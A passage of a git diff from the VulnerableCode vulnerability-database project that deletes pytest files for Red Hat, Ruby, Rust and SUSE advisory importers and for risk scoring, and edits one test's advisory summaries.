-@pytest.mark.django_db -def test_get_or_create_from_purl(): - p1 = "pkg:generic/postgres" - p2 = "pkg:generic/postgres?foo=bar" - res1 = Package.objects.get_or_create_from_purl(p1) - res2 = Package.objects.get_or_create_from_purl(p2) - res3 = Package.objects.get_or_create_from_purl(p1) diff --git a/vulnerabilities/tests/test_redhat_importer.py b/vulnerabilities/tests/test_redhat_importer.py deleted file mode 100644 index f5be28dca..000000000 --- a/vulnerabilities/tests/test_redhat_importer.py +++ /dev/null @@ -1,57 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from unittest.mock import patch - -from packageurl import PackageURL - -from vulnerabilities.importers import redhat -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data", "redhat") - - -def test_rpm_to_purl(): - assert redhat.rpm_to_purl("foobar", "redhat") is None - assert redhat.rpm_to_purl("foo-bar-devel-0:sys76", "redhat") is None - assert redhat.rpm_to_purl("kernel-0:2.6.32-754.el6", "redhat") == PackageURL( - type="rpm", - namespace="redhat", - name="kernel", - version="2.6.32-754", - qualifiers={"arch": "el6"}, - ) - - -@patch("vulnerabilities.importers.redhat.fetch_cves") -@patch("vulnerabilities.importers.redhat.get_data_from_url") -def test_redhat_importer(get_data_from_url, fetcher): - redhat_importer = redhat.RedhatImporter() - response_file = os.path.join(TEST_DATA, "redhat-input.json") - - with open(response_file) as f: - fetcher.return_value = [json.load(f)] - bugzilla_2075788_response_file = os.path.join(TEST_DATA, "bugzilla-2075788.json") - bugzilla_2077736_response_file = os.path.join(TEST_DATA, "bugzilla-2077736.json") - rhsa_1437 = os.path.join(TEST_DATA, "RHSA_openjdk17_update.json") - rhsa_1439 = os.path.join(TEST_DATA, "RHSA_openjdk11_update.json") - get_data_from_url.side_effect = [ - json.load(open(bugzilla_2075788_response_file)), - json.load(open(bugzilla_2077736_response_file)), - json.load(open(rhsa_1439)), - json.load(open(rhsa_1437)), - None, - ] - expected_file = os.path.join(TEST_DATA, "redhat-expected.json") - imported_data = list(redhat_importer.advisory_data()) - result = [data.to_dict() for data in imported_data] - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_retiredotnet.py b/vulnerabilities/tests/test_retiredotnet.py deleted file mode 100644 index 52070b2d1..000000000 --- a/vulnerabilities/tests/test_retiredotnet.py +++ /dev/null @@ -1,36 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import os -from pathlib import Path - -from vulnerabilities.importers.retiredotnet import RetireDotnetImporter -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) - - -def test_vuln_id_from_desc(): - importer = RetireDotnetImporter() - gibberish = "xyzabcpqr123" * 50 + "\n" * 100 - res = importer.vuln_id_from_desc(gibberish) - assert res is None - - desc = "abcdef CVE-2002-1968 pqrstuvwxyz:_|-|" - res = importer.vuln_id_from_desc(desc) - assert res == "CVE-2002-1968" - - -def test_process_file(): - path = os.path.join(BASE_DIR, "test_data/retiredotnet/test_file.json") - importer = RetireDotnetImporter() - expected_file = os.path.join(BASE_DIR, "test_data/retiredotnet/expected_file.json") - advisory = importer.process_file(Path(path), Path(path).parent) - util_tests.check_results_against_json(advisory.to_dict(), expected_file) diff --git a/vulnerabilities/tests/test_risk.py b/vulnerabilities/tests/test_risk.py deleted file mode 100644 index b5c4d4997..000000000 --- a/vulnerabilities/tests/test_risk.py +++ /dev/null @@ -1,180 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import pytest - -from vulnerabilities.models import Exploit -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.risk import compute_vulnerability_risk_factors -from vulnerabilities.risk import get_exploitability_level -from vulnerabilities.risk import get_weighted_severity -from vulnerabilities.severity_systems import CVSSV3 -from vulnerabilities.severity_systems import EPSS -from vulnerabilities.severity_systems import GENERIC - - -@pytest.fixture -def vulnerability(): - vul = Vulnerability(vulnerability_id="VCID-Existing") - vul.save() - - severity1 = VulnerabilitySeverity.objects.create( - url="https://nvd.nist.gov/vuln/detail/CVE-xxxx-xxx1", - scoring_system=CVSSV3.identifier, - scoring_elements="CVSS:3.0/AV:P/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N/E:H/RL:O/RC:R/CR:H/MAC:H/MC:L", - value="6.5", - ) - - severity2 = VulnerabilitySeverity.objects.create( - url="https://nvd.nist.gov/vuln/detail/CVE-xxxx-xxx1", - scoring_system=GENERIC.identifier, - value="MODERATE", # 6.9 - ) - vul.severities.add(severity1) - vul.severities.add(severity2) - - weaknesses = Weakness.objects.create(cwe_id=119) - vul.weaknesses.add(weaknesses) - return vul - - -@pytest.fixture -def exploit(): - vul = Vulnerability(vulnerability_id="VCID-Exploit") - vul.save() - return Exploit.objects.create(vulnerability=vul, description="exploit description") - - -@pytest.fixture -def vulnerability_with_exploit_ref(): - vul = Vulnerability(vulnerability_id="VCID-Exploit-Ref") - vul.save() - - reference_exploit = VulnerabilityReference.objects.create( - reference_id="", - reference_type=VulnerabilityReference.EXPLOIT, - url="https://nvd.nist.gov/vuln/detail/CVE-xxxx-xxxx2", - ) - - VulnerabilityRelatedReference.objects.create(reference=reference_exploit, vulnerability=vul) - return vul - - -@pytest.fixture -def high_epss_score(): - vul = Vulnerability(vulnerability_id="VCID-HIGH-EPSS") - vul.save() - - severity = VulnerabilitySeverity.objects.create( - url="https://nvd.nist.gov/vuln/detail/CVE-xxxx-xxx3", - scoring_system=EPSS.identifier, - value=".9", - ) - vul.severities.add(severity) - - return vul.severities.all() - - -@pytest.fixture -def low_epss_score(): - vul = Vulnerability(vulnerability_id="VCID-LOW-EPSS") - vul.save() - - severity = VulnerabilitySeverity.objects.create( - url="https://nvd.nist.gov/vuln/detail/CVE-xxxx-xxx4", - scoring_system=EPSS.identifier, - value=".3", - ) - vul.severities.add(severity) - - return vul.severities.all() - - -@pytest.mark.django_db -def test_exploitability_level( - exploit, vulnerability_with_exploit_ref, high_epss_score, low_epss_score -): - - assert get_exploitability_level(exploit, None, None) == 2 - - assert get_exploitability_level(None, None, high_epss_score) == 2 - - assert get_exploitability_level(None, None, low_epss_score) == 0.5 - - assert ( - get_exploitability_level( - exploits=None, - references=vulnerability_with_exploit_ref.references.all(), - severities=vulnerability_with_exploit_ref.severities.all(), - ) - == 1 - ) - - assert get_exploitability_level(None, None, None) == 0.5 - - -@pytest.mark.django_db -def test_get_weighted_severity(vulnerability): - severities = vulnerability.severities.all() - assert get_weighted_severity(severities) == 6.2 - - severity2 = VulnerabilitySeverity.objects.create( - url="https://security-tracker.debian.org/tracker/CVE-2019-13057", - scoring_system=GENERIC.identifier, - value="CRITICAL", - ) - vulnerability.severities.add(severity2) - - new_severities = vulnerability.severities.all() - assert get_weighted_severity(new_severities) == 7 - - -@pytest.mark.django_db -def test_compute_vulnerability_risk_factors(vulnerability, exploit): - severities = vulnerability.severities.all() - references = vulnerability.references.all() - - assert compute_vulnerability_risk_factors(references, severities, exploit) == ( - 6.2, - 2, - ) - - assert compute_vulnerability_risk_factors(references, severities, None) == (6.2, 0.5) - - assert compute_vulnerability_risk_factors(references, None, exploit) == (0, 2) - - assert compute_vulnerability_risk_factors(None, None, None) == (0, 0.5) - - -@pytest.mark.django_db -def test_get_vulnerability_risk_score(vulnerability): - vulnerability.weighted_severity = 6.0 - vulnerability.exploitability = 2 - - assert vulnerability.risk_score == 10.0 # max risk_score can be reached - - vulnerability.weighted_severity = 6 - vulnerability.exploitability = 0.5 - assert vulnerability.risk_score == 3.0 - - vulnerability.weighted_severity = 5.6 - vulnerability.exploitability = 0.5 - assert vulnerability.risk_score == 2.8 - - vulnerability.weighted_severity = None - vulnerability.exploitability = 0.5 - assert vulnerability.risk_score is None - - vulnerability.weighted_severity = None - vulnerability.exploitability = None - assert vulnerability.risk_score is None diff --git a/vulnerabilities/tests/test_ruby.py b/vulnerabilities/tests/test_ruby.py deleted file mode 100644 index e66300512..000000000 --- a/vulnerabilities/tests/test_ruby.py +++ /dev/null @@ -1,96 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import json -import os -from unittest.mock import patch - -import pytest -from packageurl import PackageURL -from univers.version_range import GemVersionRange - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importers.ruby import get_affected_packages -from vulnerabilities.importers.ruby import parse_ruby_advisory -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import RubyImprover -from vulnerabilities.tests import util_tests -from vulnerabilities.tests.util_tests import check_results_against_json -from vulnerabilities.utils import load_yaml - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data", "ruby") - - -@pytest.mark.parametrize( - "filename,expected_filename,schema_type", - [ - ("CVE-2018-7212.yml", "CVE-2018-7212-expected.json", "gems"), - ("CVE-2018-11627.yml", "CVE-2018-11627-expected.json", "gems"), - ("CVE-2007-5770.yml", "CVE-2007-5770-expected.json", "rubies"), - ("CVE-2010-1330.yml", "CVE-2010-1330-expected.json", "rubies"), - ], -) -def test_advisories(filename, expected_filename, schema_type): - file_path = os.path.join(TEST_DATA, filename) - mock_response = load_yaml(file_path) - results = parse_ruby_advisory( - mock_response, schema_type, "https://github.com/rubysec/ruby-advisory-db" - ).to_dict() - expected_file = os.path.join(TEST_DATA, expected_filename) - check_results_against_json(results=results, expected_file=expected_file) - - -@patch("vulnerabilities.improvers.valid_versions.RubyImprover.get_package_versions") -def test_ruby_improver(mock_response): - advisory_file = os.path.join(TEST_DATA, f"parse-advisory-ruby-expected.json") - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = ["0.2.6", "1.2.7", "1.3.6", "2.2.1", "3.0.2", "3.0.5"] - improvers = [RubyImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - expected_file = os.path.join(TEST_DATA, f"ruby-improver-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -@pytest.mark.parametrize( - "record,purl,result", - [ - ( - {"patched_versions": [">= 1.6.5.1"]}, - PackageURL(type="gem", name="jruby"), - [ - AffectedPackage( - package=PackageURL(type="gem", name="jruby"), - affected_version_range=GemVersionRange.from_string("vers:gem/<1.6.5.1"), - ) - ], - ), - ( - {"patched_versions": [">= 1.1.3"], "unaffected_versions": ["< 0.1.33"]}, - PackageURL(type="gem", name="'devise_token_auth'"), - [ - AffectedPackage( - package=PackageURL(type="gem", name="'devise_token_auth'"), - affected_version_range=GemVersionRange.from_string("vers:gem/<1.1.3"), - ), - AffectedPackage( - package=PackageURL(type="gem", name="'devise_token_auth'"), - affected_version_range=GemVersionRange.from_string("vers:gem/>=0.1.33"), - ), - ], - ), - ], -) -def test_get_affected_packages(record, purl, result): - assert get_affected_packages(record, purl) == result diff --git a/vulnerabilities/tests/test_rust.py b/vulnerabilities/tests/test_rust.py deleted file mode 100644 index 58b7c4302..000000000 --- a/vulnerabilities/tests/test_rust.py +++ /dev/null @@ -1,185 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from unittest import TestCase - -from packageurl import PackageURL -from univers.version_range import VersionRange - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Reference -from vulnerabilities.importers.rust import RustImporter -from vulnerabilities.importers.rust import categorize_versions -from vulnerabilities.importers.rust import get_advisory_data -from vulnerabilities.package_managers import CratesVersionAPI -from vulnerabilities.package_managers import Version -from vulnerabilities.utils import AffectedPackage - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/rust") - -MOCKED_CRATES_API_VERSIONS = CratesVersionAPI( - cache={ - "bitvec": {Version("0.10.0"), Version("0.12.0"), Version("0.18.0")}, - "bumpalo": {Version("2.8.0"), Version("3.0.1"), Version("3.2.5")}, - "cbox": {Version("0.10.0"), Version("0.12.0"), Version("0.18.0")}, - "flatbuffers": {Version("0.3.0"), Version("0.5.0"), Version("0.6.5")}, - "hyper": {Version("0.10.0"), Version("0.12.0"), Version("0.13.0")}, - "byte_struct": {Version("0.6.1"), Version("0.6.0"), Version("1.0.0")}, - } -) - - -def test_categorize_versions(): - flatbuffers_versions = MOCKED_CRATES_API_VERSIONS.get("flatbuffers").valid_versions - - unaffected_ranges = [VersionRange.from_scheme_version_spec_string("semver", "< 0.4.0")] - affected_ranges = [ - VersionRange.from_scheme_version_spec_string("semver", ">= 0.4.0"), - VersionRange.from_scheme_version_spec_string("semver", "<= 0.6.0"), - ] - resolved_ranges = [VersionRange.from_scheme_version_spec_string("semver", ">= 0.6.1")] - - unaffected_versions, affected_versions = categorize_versions( - set(flatbuffers_versions), - unaffected_ranges, - affected_ranges, - resolved_ranges, - ) - - assert len(unaffected_versions) == 2 - assert "0.3.0" in unaffected_versions - assert "0.6.5" in unaffected_versions - - assert len(affected_versions) == 1 - assert "0.5.0" in affected_versions - - -def test_categorize_versions_without_affected_ranges(): - all_versions = {"1.0", "1.1", "2.0", "2.1", "3.0", "3.1"} - - unaffected_ranges = [VersionRange.from_scheme_version_spec_string("semver", "< 1.2")] - affected_ranges = [] - resolved_ranges = [VersionRange.from_scheme_version_spec_string("semver", ">= 3.0")] - - unaffected_versions, affected_versions = categorize_versions( - all_versions, - unaffected_ranges, - affected_ranges, - resolved_ranges, - ) - - assert len(unaffected_versions) == 4 - assert "1.0" in unaffected_versions - assert "1.1" in unaffected_versions - assert "3.0" in unaffected_versions - assert "3.1" in unaffected_versions - - assert len(affected_versions) == 2 - assert "2.0" in affected_versions - assert "2.1" in affected_versions - - -def test_categorize_versions_with_only_affected_ranges(): - all_versions = {"1.0", "1.1", "2.0", "2.1", "3.0", "3.1"} - - unaffected_ranges = [] - affected_ranges = [ - VersionRange.from_scheme_version_spec_string("semver", "> 1.2"), - VersionRange.from_scheme_version_spec_string("semver", "<= 2.1"), - ] - resolved_ranges = [] - - unaffected_versions, affected_versions = categorize_versions( - all_versions, - unaffected_ranges, - affected_ranges, - resolved_ranges, - ) - - assert len(unaffected_versions) == 4 - assert "1.0" in unaffected_versions - assert "1.1" in unaffected_versions - assert "3.0" in unaffected_versions - assert "3.1" in unaffected_versions - - assert len(affected_versions) == 2 - assert "2.0" in affected_versions - assert "2.1" in affected_versions - - -def test_categorize_versions_without_any_ranges(): - all_versions = {"1.0", "1.1", "2.0", "2.1", "3.0", "3.1"} - - unaffected, affected = categorize_versions(all_versions, [], [], []) - - assert len(unaffected) == 0 - assert len(affected) == 0 - - -class RustImportTest(TestCase): - @classmethod - def setUpClass(cls) -> None: - data_source_cfg = { - "repository_url": "", - } - cls.data_src = RustImporter(1, config=data_source_cfg) - cls.data_src._crates_api = MOCKED_CRATES_API_VERSIONS - - def test_load_advisory(self): - md_path = os.path.join(TEST_DATA, "RUSTSEC-2021-0032.md") - data = self.data_src._load_advisory(md_path) - expected_data = Advisory( - summary="", - vulnerability_id="CVE-2021-28033", - affected_packages=[ - AffectedPackage( - vulnerable_package=PackageURL( - type="cargo", - name="byte_struct", - version="0.6.0", - ), - patched_package=PackageURL( - type="cargo", - name="byte_struct", - version="0.6.1", - ), - ) - ], - references=[ - Reference( - reference_id="", - url="https://github.com/wwylele/byte-struct-rs/issues/1", - severities=[], - ), - Reference( - reference_id="RUSTSEC-2021-0032", - url="https://rustsec.org/advisories/RUSTSEC-2021-0032.html", - severities=[], - ), - ], - ) - assert expected_data == data - - def test_load_toml_from_md(self): - md_path = os.path.join(TEST_DATA, "CVE-2019-16760.md") - loaded_data = get_advisory_data(md_path) - expected_data = { - "advisory": { - "aliases": ["GHSA-phjm-8x66-qw4r"], - "date": "2019-09-30", - "id": "CVE-2019-16760", - "package": "cargo", - "url": "https://groups.google.com/forum/#!topic/rustlang-security-announcements/rVQ5e3TDnpQ", # nopep8 - }, - "versions": {"patched": [">= 1.26.0"]}, - } - - assert loaded_data == expected_data diff --git a/vulnerabilities/tests/test_same_avid_different_content_id.py b/vulnerabilities/tests/test_same_avid_different_content_id.py index ae8900953..014713fb6 100644 --- a/vulnerabilities/tests/test_same_avid_different_content_id.py +++ b/vulnerabilities/tests/test_same_avid_different_content_id.py @@ -78,10 +78,11 @@ def test_latest_for_avid_tie_breaks_by_id(advisory_factory, django_assert_num_qu @pytest.mark.django_db def test_latest_per_avid_returns_one_row_per_avid(advisory_factory, django_assert_num_queries): - advisory_factory(advisory_id="A", summary="old advisory") - latest_a = advisory_factory(advisory_id="A", summary="new advisory") + advisory_factory(advisory_id="A", summary="old advisory A") + latest_a = advisory_factory(advisory_id="A", summary="new advisory A") - latest_b = advisory_factory(advisory_id="B", summary="new advisory") + # Summaries must differ: unique_content_id is global and no longer includes advisory_id. + latest_b = advisory_factory(advisory_id="B", summary="new advisory B") with django_assert_num_queries(1): qs = AdvisoryV2.objects.latest_per_avid() @@ -110,11 +111,11 @@ def test_latest_for_avids_filters_and_collapses_correctly( advisory_factory, django_assert_num_queries ): - advisory_factory(advisory_id="A", summary="old advisory") - latest_a = advisory_factory(advisory_id="A", summary="new advisory") + advisory_factory(advisory_id="A", summary="old advisory A") + latest_a = advisory_factory(advisory_id="A", summary="new advisory A") - advisory_factory(advisory_id="B", summary="old advisory") - latest_b = advisory_factory(advisory_id="B", summary="new advisory") + advisory_factory(advisory_id="B", summary="old advisory B") + latest_b = advisory_factory(advisory_id="B", summary="new advisory B") with django_assert_num_queries(1): qs = AdvisoryV2.objects.latest_for_avids({"source/A", "source/B"}) diff --git a/vulnerabilities/tests/test_suse.py b/vulnerabilities/tests/test_suse.py deleted file mode 100644 index 78a59ecc8..000000000 --- a/vulnerabilities/tests/test_suse.py +++ /dev/null @@ -1,180 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -import unittest -import xml.etree.ElementTree as ET - -from vulnerabilities.oval_parser import OvalParser - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/") - - -class TestSUSEOvalParser(unittest.TestCase): - @classmethod - def setUpClass(cls): - xml_doc = ET.parse(os.path.join(TEST_DATA, "suse_oval_data.xml")) - translator = {"less than": "<"} - # all the elements which require "equals" are ignored(because they are not useful) - cls.parsed_oval = OvalParser(translator, xml_doc) - - def setUp(self): - self.definition_1 = self.parsed_oval.all_definitions[0] - self.definition_2 = self.parsed_oval.all_definitions[1] - - def test_get_definitions(self): - - assert len(self.parsed_oval.all_definitions) == 2 - assert ( - self.parsed_oval.all_definitions[0].getId() == "oval:org.opensuse.security:def:20094112" - ) - assert ( - self.parsed_oval.all_definitions[1].getId() == "oval:org.opensuse.security:def:20112767" - ) - - def test_get_tests_of_definition(self): - - definition_1_test_ids = { - "oval:org.opensuse.security:tst:2009281999", - "oval:org.opensuse.security:tst:2009282000", - } - definition_2_test_ids = { - "oval:org.opensuse.security:tst:2009271113", - "oval:org.opensuse.security:tst:2009271114", - } - - assert definition_1_test_ids == { - i.getId() for i in self.parsed_oval.get_tests_of_definition(self.definition_1) - } - - assert definition_2_test_ids == { - i.getId() for i in self.parsed_oval.get_tests_of_definition(self.definition_2) - } - - def test_get_vuln_id_from_definition(self): - - vuln_id_1 = "CVE-2009-4112" - vuln_id_2 = "CVE-2011-2767" - - assert vuln_id_1 == self.parsed_oval.get_vuln_id_from_definition(self.definition_1) - assert vuln_id_2 == self.parsed_oval.get_vuln_id_from_definition(self.definition_2) - - def test_get_object_state_of_test(self): - - # This method is inherited as it is from UbuntuOvalParser - # this test ensures that the method works with suse OVAL documents - - assert len(self.parsed_oval.oval_document.getTests()) == 9 - - test_1 = self.parsed_oval.oval_document.getTests()[0] - test_2 = self.parsed_oval.oval_document.getTests()[1] - - obj_t1, state_t1 = self.parsed_oval.get_object_state_of_test(test_1) - obj_t2, state_t2 = self.parsed_oval.get_object_state_of_test(test_2) - - assert state_t1.getId() == "oval:org.opensuse.security:ste:2009068342" - assert state_t2.getId() == "oval:org.opensuse.security:ste:2009072069" - - assert obj_t2.getId() == "oval:org.opensuse.security:obj:2009031297" - assert obj_t1.getId() == "oval:org.opensuse.security:obj:2009031246" - - def test_get_pkgs_from_obj(self): - - assert len(self.parsed_oval.oval_document.getObjects()) == 5 - - obj_t1 = self.parsed_oval.oval_document.getObjects()[0] - obj_t2 = self.parsed_oval.oval_document.getObjects()[1] - - pkg_set1 = set(self.parsed_oval.get_pkgs_from_obj(obj_t1)) - pkg_set2 = set(self.parsed_oval.get_pkgs_from_obj(obj_t2)) - - assert pkg_set1 == {"openSUSE-release"} - # In a full run we wont get pkg_set1 because we won't obtain - # it's object due to filters to avoid such tests in the first place - assert pkg_set2 == {"cacti"} - - def test_get_version_range_from_state(self): - - assert len(self.parsed_oval.oval_document.getStates()) == 4 - - state_1 = self.parsed_oval.oval_document.getStates()[0] - state_2 = self.parsed_oval.oval_document.getStates()[1] - - exp_range_1 = None - exp_range_2 = "<1.2.11-lp151.3.6" - # In a full run we wont get exp_range1 because we won't obtain - # it's state due to filters to avoid such tests in the first place - assert self.parsed_oval.get_version_range_from_state(state_1) == exp_range_1 - assert self.parsed_oval.get_version_range_from_state(state_2) == exp_range_2 - - def test_get_urls_from_definition(self): - - def1_urls = { - "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4112", - "https://www.suse.com/security/cve/CVE-2009-4112.html", - "https://bugzilla.suse.com/1122535", - "https://bugzilla.suse.com/558664", - } - - assert def1_urls == self.parsed_oval.get_urls_from_definition(self.definition_1) - - def2_urls = { - "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2767", - "https://bugzilla.suse.com/1156944", - "https://www.suse.com/security/cve/CVE-2011-2767.html", - } - - assert def2_urls == self.parsed_oval.get_urls_from_definition(self.definition_2) - - def test_get_data(self): - - expected_data = [ - { - "test_data": [ - { - "package_list": ["cacti"], - "version_ranges": "<1.2.11-lp151.3.6", - }, - { - "package_list": ["cacti-spine"], - "version_ranges": "<1.2.11-lp151.3.6", - }, - ], - "description": '\n Cacti 0.8.7e and earlier allows remote authenticated administrators to gain privileges by modifying the "Data Input Method" for the "Linux - Get Memory Usage" setting to contain arbitrary commands.\n ', - "vuln_id": "CVE-2009-4112", - "reference_urls": { - "https://bugzilla.suse.com/1122535", - "https://bugzilla.suse.com/558664", - "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4112", - "https://www.suse.com/security/cve/CVE-2009-4112.html", - }, - }, - { - "test_data": [ - { - "package_list": ["apache2-mod_perl"], - "version_ranges": "<2.0.11-lp151.3.3", - }, - { - "package_list": ["apache2-mod_perl-devel"], - "version_ranges": "<2.0.11-lp151.3.3", - }, - ], - "description": "\n mod_perl 2.0 through 2.0.10 allows attackers to execute arbitrary Perl code by placing it in a user-owned .htaccess file, because (contrary to the documentation) there is no configuration option that permits Perl code for the administrator's control of HTTP request processing without also permitting unprivileged users to run Perl code in the context of the user account that runs Apache HTTP Server processes.\n ", - "vuln_id": "CVE-2011-2767", - "reference_urls": { - "https://bugzilla.suse.com/1156944", - "https://www.suse.com/security/cve/CVE-2011-2767.html", - "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2767", - }, - }, - ] - - assert expected_data == self.parsed_oval.get_data() diff --git a/vulnerabilities/tests/test_suse_backports.py b/vulnerabilities/tests/test_suse_backports.py deleted file mode 100644 index aa3737246..000000000 --- a/vulnerabilities/tests/test_suse_backports.py +++ /dev/null @@ -1,122 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -# from collections import OrderedDict -# import os -# from unittest import TestCase -# import yaml - -# from packageurl import PackageURL - -# from vulnerabilities.importers.suse_backports import SUSEBackportsImporter -# from vulnerabilities.importer import AdvisoryData - -# BASE_DIR = os.path.dirname(os.path.abspath(__file__)) - - -# def yaml_loader(): -# path = os.path.join(BASE_DIR, "test_data/suse_backports/") -# yaml_files = {} -# for file in os.listdir(path): -# with open(os.path.join(path, file)) as f: -# yaml_files[file] = yaml.safe_load(f) -# return yaml_files - - -# class TestSUSEBackportsImporter(TestCase): -# @classmethod -# def setUpClass(cls): -# data_source_cfg = {"url": "https://endpoint.com", "etags": {}} -# cls.data_src = SUSEBackportsImporter(1, config=data_source_cfg) - -# def test_process_file(self): -# parsed_yamls = yaml_loader() -# expected_data = [ -# Advisory( -# summary="", -# impacted_package_urls=[], -# resolved_package_urls=[ -# PackageURL( -# type="rpm", -# namespace="opensuse", -# name="MozillaFirefox", -# version="3.0.10-1.1.1", -# qualifiers=OrderedDict(), -# subpath=None, -# ) -# ], -# vulnerability_id="CVE-2009-1313", -# ), -# Advisory( -# summary="", -# impacted_package_urls=[], -# resolved_package_urls=[ -# PackageURL( -# type="rpm", -# namespace="opensuse", -# name="MozillaFirefox-branding-SLED", -# version="3.5-1.1.5", -# qualifiers=OrderedDict(), -# subpath=None, -# ) -# ], -# vulnerability_id="CVE-2009-1313", -# ), -# Advisory( -# summary="", -# impacted_package_urls=[], -# resolved_package_urls=[ -# PackageURL( -# type="rpm", -# namespace="opensuse", -# name="MozillaFirefox-translations", -# version="3.0.10-1.1.1", -# qualifiers=OrderedDict(), -# subpath=None, -# ) -# ], -# vulnerability_id="CVE-2009-1313", -# ), -# Advisory( -# summary="", -# impacted_package_urls=[], -# resolved_package_urls=[ -# PackageURL( -# type="rpm", -# namespace="opensuse", -# name="NetworkManager", -# version="0.7.0.r4359-15.9.2", -# qualifiers=OrderedDict(), -# subpath=None, -# ) -# ], -# vulnerability_id="CVE-2009-0365", -# ), -# Advisory( -# summary="", -# impacted_package_urls=[], -# resolved_package_urls=[ -# PackageURL( -# type="rpm", -# namespace="opensuse", -# name="NetworkManager", -# version="0.7.0.r4359-15.9.2", -# qualifiers=OrderedDict(), -# subpath=None, -# ) -# ], -# vulnerability_id="CVE-2009-0578", -# ), -# ] - -# found_data = self.data_src.process_file(parsed_yamls["backports-sle11-sp0.yaml"]) - -# found_advisories = list(map(Advisory.normalized, found_data)) -# expected_advisories = list(map(Advisory.normalized, expected_data)) -# assert sorted(found_advisories) == sorted(expected_advisories) diff --git a/vulnerabilities/tests/test_suse_oval.py b/vulnerabilities/tests/test_suse_oval.py deleted file mode 100644 index 436cfcf49..000000000 --- a/vulnerabilities/tests/test_suse_oval.py +++ /dev/null @@ -1,157 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import gzip -import io -import os -import xml.etree.ElementTree as ET - -from vulnerabilities.importers.suse_oval import SuseOvalImporter -from vulnerabilities.importers.suse_oval import filter -from vulnerabilities.oval_parser import OvalParser -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/suse_oval") - - -def test_suse_oval_importer_CVE_2008_5679(): - importer = SuseOvalImporter() - advisories = importer.get_data_from_xml_doc( - ET.parse(os.path.join(TEST_DATA, "org.opensuse.CVE-2008-5679.xml")), - {"type": "rpm", "namespace": "opensuse"}, - ) - expected_file = os.path.join(TEST_DATA, f"suse-oval-CVE-2008-5679-expected.json") - util_tests.check_results_against_json( - [advisory.to_dict() for advisory in advisories], expected_file - ) - - -def test_suse_oval_parse_CVE_2008_5679(): - xml_doc = ET.parse(os.path.join(TEST_DATA, "org.opensuse.CVE-2008-5679.xml")) - translations = {"less than": "<", "equals": "=", "greater than or 